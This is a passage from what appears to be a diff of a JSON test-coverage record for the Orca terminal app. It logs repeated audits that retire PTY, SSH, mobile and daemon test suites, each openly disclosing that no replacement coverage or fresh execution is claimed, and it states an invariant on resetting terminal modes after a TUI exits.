working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4345 deletes the foreground agent-process suite (8 authored cases): nested/stopped POSIX shells, recycled/query-denied Windows anchors and console-attachment filtering/refusal alarms are deliberately lost without equivalent replacement. Reduced selectors have no fresh gate execution; unrelated historical receipts retain their own commands. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3984 retires all nine mobile-presence and imported subscribe callbacks plus their orphan store fixture. Accepted losses include desktop/phone restore geometry, echo filtering, held reconnect/reclaim notifications, and the real headless snapshot sequence race. No equivalent replacement or fresh gate execution is claimed. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial mobile-presence suite retains only five authored callbacks: admitted preview-paste completion across phone takeover, desktop take-back superseding mobile input, desktop viewport write/restore geometry, and held-fit reclaim convergence. Other supplied floor/rollback/selection/viewport/grace/disconnect/reconnect/orphan-state alarms are lost. No per-source assertion object exists to reassign. The one affected dated mobile-view-authority receipt is retired whole into historical notes with its full original/currentCommand/raw data preserved; it is not active corroboration for reduced candidate bytes. Imported mobile-subscribe registrations and retained callbacks remain bounded to their actual source obligations, without equivalent replacement or physical-phone/native-PTY claims. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1320 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic host/parser, process-classifier, snapshot-publication, mixed-version, renderer, and macOS Electron coverage proves the local and shared paired-runtime contracts. Direct SSH intentionally publishes no shell proof and immediately preserves incumbent behavior. WSL, Windows ConPTY, Linux desktop, and paired headed/headless journeys remain gaps. The audit removed the isolated terminal-multiplex pending-escape-tail forwarding test. Its direct RPC snapshot field-copy alarm is lost; retained parser, snapshot and lifecycle suites do not establish equivalent RPC field coverage. Audit1320: src/renderer/src/components/terminal-pane/remote-runtime-pty-snapshot-escape-tail.test.ts removed. Snapshot pending escape/alternate-screen/shell metadata forwarding and negative app-store-read alarm disappears. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1402: src/renderer/src/components/terminal-pane/pty-connection-park-reveal-model-snapshot.spec.ts reduced. Loses basic paired serialize/initial replay forwarding check; hidden alt-frame grid/precedence policy remains. No real terminal renderer claim. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/daemon/terminal-host-concurrent-create.test.ts reduced. Loses race deduplication, attach during unsettled ownership proof, retry after failed spawn, distinct-session parallelism, disposal waiting and shutdown retry-fencing alarms bundled with removed internal-call counts or real-time waits. No replacement-equivalence claim. src/main/daemon/terminal-checkpoint-serializer.test.ts reduced. Loses bounded native conversion/no-whole-candidate materialization and snapshot getter single-read alarms. Retained byte-size outcomes do not establish CPU/allocation bounds. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5708 retires the whole controlled-proof terminal-shell-recovery-barrier suite, accepting reset/release ordering, late/dead/refuted proof, throwing sink, nested episode and deadline alarms. Active command/testFiles selectors are reduced; no equivalent replacement or fresh execution is claimed. Historical dated scopes remain unchanged. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4345 deletes the foreground agent-process suite (8 authored cases): nested/stopped POSIX shells, recycled/query-denied Windows anchors and console-attachment filtering/refusal alarms are deliberately lost without equivalent replacement. Reduced selectors have no fresh gate execution; unrelated historical receipts retain their own commands. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3984 retires all nine mobile-presence and imported subscribe callbacks plus their orphan store fixture. Accepted losses include desktop/phone restore geometry, echo filtering, held reconnect/reclaim notifications, and the real headless snapshot sequence race. No equivalent replacement or fresh gate execution is claimed. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial mobile-presence suite retains only five authored callbacks: admitted preview-paste completion across phone takeover, desktop take-back superseding mobile input, desktop viewport write/restore geometry, and held-fit reclaim convergence. Other supplied floor/rollback/selection/viewport/grace/disconnect/reconnect/orphan-state alarms are lost. No per-source assertion object exists to reassign. The one affected dated mobile-view-authority receipt is retired whole into historical notes with its full original/currentCommand/raw data preserved; it is not active corroboration for reduced candidate bytes. Imported mobile-subscribe registrations and retained callbacks remain bounded to their actual source obligations, without equivalent replacement or physical-phone/native-PTY claims. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1320 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic host/parser, process-classifier, snapshot-publication, mixed-version, renderer, and macOS Electron coverage proves the local and shared paired-runtime contracts. Direct SSH intentionally publishes no shell proof and immediately preserves incumbent behavior. WSL, Windows ConPTY, Linux desktop, and paired headed/headless journeys remain gaps. The audit removed the isolated terminal-multiplex pending-escape-tail forwarding test. Its direct RPC snapshot field-copy alarm is lost; retained parser, snapshot and lifecycle suites do not establish equivalent RPC field coverage. Audit1320: src/renderer/src/components/terminal-pane/remote-runtime-pty-snapshot-escape-tail.test.ts removed. Snapshot pending escape/alternate-screen/shell metadata forwarding and negative app-store-read alarm disappears. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1402: src/renderer/src/components/terminal-pane/pty-connection-park-reveal-model-snapshot.spec.ts reduced. Loses basic paired serialize/initial replay forwarding check; hidden alt-frame grid/precedence policy remains. No real terminal renderer claim. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/daemon/terminal-host-concurrent-create.test.ts reduced. Loses race deduplication, attach during unsettled ownership proof, retry after failed spawn, distinct-session parallelism, disposal waiting and shutdown retry-fencing alarms bundled with removed internal-call counts or real-time waits. No replacement-equivalence claim. src/main/daemon/terminal-checkpoint-serializer.test.ts reduced. Loses bounded native conversion/no-whole-candidate materialization and snapshot getter single-read alarms. Retained byte-size outcomes do not establish CPU/allocation bounds. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": ["https://github.com/stablyai/orca/pull/16379"], "invariant": "After a TUI exits or is killed, reveal, reattach, snapshot replay, or renderer remount must not deliver terminal-owned mouse or alternate-screen protocol bytes to the surviving shell. Recovery is an ordered output barrier in the daemon session data path: an OSC 133;D completing while the alternate screen is still active pauses the stream at that exact byte boundary, a fresh execution-host process inspection proves shell ownership, and on proof a mode reset is injected as in-stream output so every consumer converges by parsing the same bytes and the queued post-boundary shell output (the prompt) lands on the normal buffer. Snapshots are pure reads. Any failure — refuted proof, timeout, queue overflow, session death, disposal — flushes the queue unmodified, preserving incumbent behavior; later command or mode bytes revoke proof. Clean alternate-screen exits prove ownership asynchronously without pausing.", - "oracle": "Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2133 current-parent 